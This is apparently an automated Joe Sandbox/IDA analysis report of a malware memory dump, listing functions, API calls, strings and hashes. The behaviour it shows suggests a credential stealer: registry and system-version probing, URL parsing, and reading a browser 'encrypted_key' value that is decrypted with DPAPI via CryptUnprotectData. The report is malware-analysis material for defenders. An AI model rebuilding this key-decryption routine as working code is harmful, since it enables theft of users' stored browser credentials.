Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseCreateDefaultEventHandleName__aulldiv$CapsComputerCurrentDeviceGlobalInfoLangMemoryNumaOpenReleaseSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 655105637-0
Opcode ID: d8804ea1bff6748de93bb0085dad6dc73f5e155af435cafa9a0d600a9b6efe0f
Instruction ID: 1c0ff58a553566d9d81a636820be0d4cb73d0efe44d476221655ae408a7450da
Opcode Fuzzy Hash: d8804ea1bff6748de93bb0085dad6dc73f5e155af435cafa9a0d600a9b6efe0f
Instruction Fuzzy Hash: E1317074940208AADB04FBF2DC56BEE7339AF04344F10042EF102A61D2DF7C6986C6AE

Function 004183DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegCloseKey.ADVAPI32(00000000), ref: 0041848C
RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

RegQueryValueExA.KERNEL32(00000000,01395E50,00000000,000F003F,?,00000400), ref: 004184EC
lstrlenA.KERNEL32(?), ref: 00418501
RegQueryValueExA.KERNEL32(00000000,01395F70,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B34), ref: 00418599
RegCloseKey.KERNEL32(00000000), ref: 00418608
RegCloseKey.ADVAPI32(00000000), ref: 0041861A

Strings

%s\%s, xrefs: 0041844D

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 2745a0ba8eb15d3c1f0b65b5c657a669296e82b89610ecc7bb468d10700aed3a
Instruction ID: cdbcbf4b9f8a1ecee5159c9abe2ba9d8dffcfa3e02281556f53420590b8fae77
Opcode Fuzzy Hash: 2745a0ba8eb15d3c1f0b65b5c657a669296e82b89610ecc7bb468d10700aed3a
Instruction Fuzzy Hash: 7B210A75940218AFDB24DB54DC85FE9B3B9FB48704F00C199E60996140DF756A85CFD4

Function 004047B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Strings

<, xrefs: 004047C9

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction ID: 59ffd934fb977a93d501bba2862ecb1df6a0defd032b503e5e890a78b3955a81
Opcode Fuzzy Hash: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction Fuzzy Hash: 712149B5D00219ABDF10DFA5E849BDD7B74FF04320F008229F925A7290EB706A15CF95

Function 00417690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
HeapAlloc.KERNEL32(00000000), ref: 004176AB
RegOpenKeyExA.KERNEL32(80000002,01390B88,00000000,00020119,00000000), ref: 004176DD
RegQueryValueExA.KERNEL32(00000000,01395E08,00000000,00000000,?,000000FF), ref: 004176FE
RegCloseKey.ADVAPI32(00000000), ref: 00417708

Strings

Windows 11, xrefs: 004176BD

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction ID: 0438ef7ee9a5fbee92b010be2e89678c99e6505f2a73f727aa840deaa157456b
Opcode Fuzzy Hash: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction Fuzzy Hash: E0018FBDA80204BFE700DBE0DD49FAEB7BDEB09700F004055FA05D7290E674A9408B55

Function 00417720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417734
HeapAlloc.KERNEL32(00000000), ref: 0041773B
RegOpenKeyExA.KERNEL32(80000002,01390B88,00000000,00020119,004176B9), ref: 0041775B
RegQueryValueExA.KERNEL32(004176B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041777A
RegCloseKey.ADVAPI32(004176B9), ref: 00417784

Strings

CurrentBuildNumber, xrefs: 00417771

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction ID: 98fe8272c38af2577472084bebc30d651685970d5c5bfe2bd2220dad028592af
Opcode Fuzzy Hash: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction Fuzzy Hash: 0F0144BDA80308BFE710DFE0DC49FAEB7B9EB44704F104159FA05A7281DA7455408F51

Function 004140B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004140D5
RegOpenKeyExA.KERNEL32(80000001,01395860,00000000,00020119,?), ref: 004140F4
RegQueryValueExA.ADVAPI32(?,01396360,00000000,00000000,00000000,000000FF), ref: 00414118
RegCloseKey.ADVAPI32(?), ref: 00414122
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414147
lstrcatA.KERNEL32(?,013963A8), ref: 0041415B

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: c8ea4ff05fc360dd0eb8abd62819ebf399865877b8aaa9c3079995bd046e4cc4
Instruction ID: 42b23dca6cf9d61fcd17bb79f48ce0988bb9dd5848c5c15250a36de7d2584b3c
Opcode Fuzzy Hash: c8ea4ff05fc360dd0eb8abd62819ebf399865877b8aaa9c3079995bd046e4cc4
Instruction Fuzzy Hash: 6941B6BAD402087BDB14EBE0DC46FEE777DAB88304F00455DB61A571C1EA795B888B92

Function 00413560 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413588

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

strtok_s.MSVCRT ref: 004136D1

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,01380578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: d487b5a826abd393daba0d5abacc3e0c3b7c6db77f8dfe7a0cb344ed065f5bd8
Instruction ID: 1d6e97e2126c91d023f3aa3275f065f217875d3b7f18f669bcfd2096c4fc0c60
Opcode Fuzzy Hash: d487b5a826abd393daba0d5abacc3e0c3b7c6db77f8dfe7a0cb344ed065f5bd8
Instruction Fuzzy Hash: C34191B1D00108EFCB04EFE5D945AEEB7B4BF44308F00801EE41676291DB789A56CFAA

Function 004099C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
LocalFree.KERNEL32(004102E7), ref: 00409A90
CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: c7567847eb904f88fd44aac24161c1541a4af156139b53349eb565b119f829a0
Instruction ID: ed52a4b53b9c0591db71eabf51b59360b39b3b260bb7ca760b64e801f0f9a50e
Opcode Fuzzy Hash: c7567847eb904f88fd44aac24161c1541a4af156139b53349eb565b119f829a0
Instruction Fuzzy Hash: 02310778A00209EFDB14CF94C985BAEB7B5FF49350F108169E901A7390D778AD41CFA5

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: f2ded3d157cb35307e0b39d430c96622be3dd75f8d5744ac0086d878f352425a
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 5901FBB0D84308BAEB10DBE4DC49B9EBB78AB15705F20809EE705B62D0D6785585879D

Function 00409CE0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D39

Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
Part of subcall function 00409AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
Part of subcall function 00409AC0: LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D92

Part of subcall function 00409B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
Part of subcall function 00409B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
Part of subcall function 00409B60: memcpy.MSVCRT(?,?,?), ref: 00409BC6
Part of subcall function 00409B60: LocalFree.KERNEL32(?), ref: 00409BD3

Strings

"encrypted_key":", xrefs: 00409D30
, xrefs: 00409DC1
DPAPI, xrefs: 00409D89

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
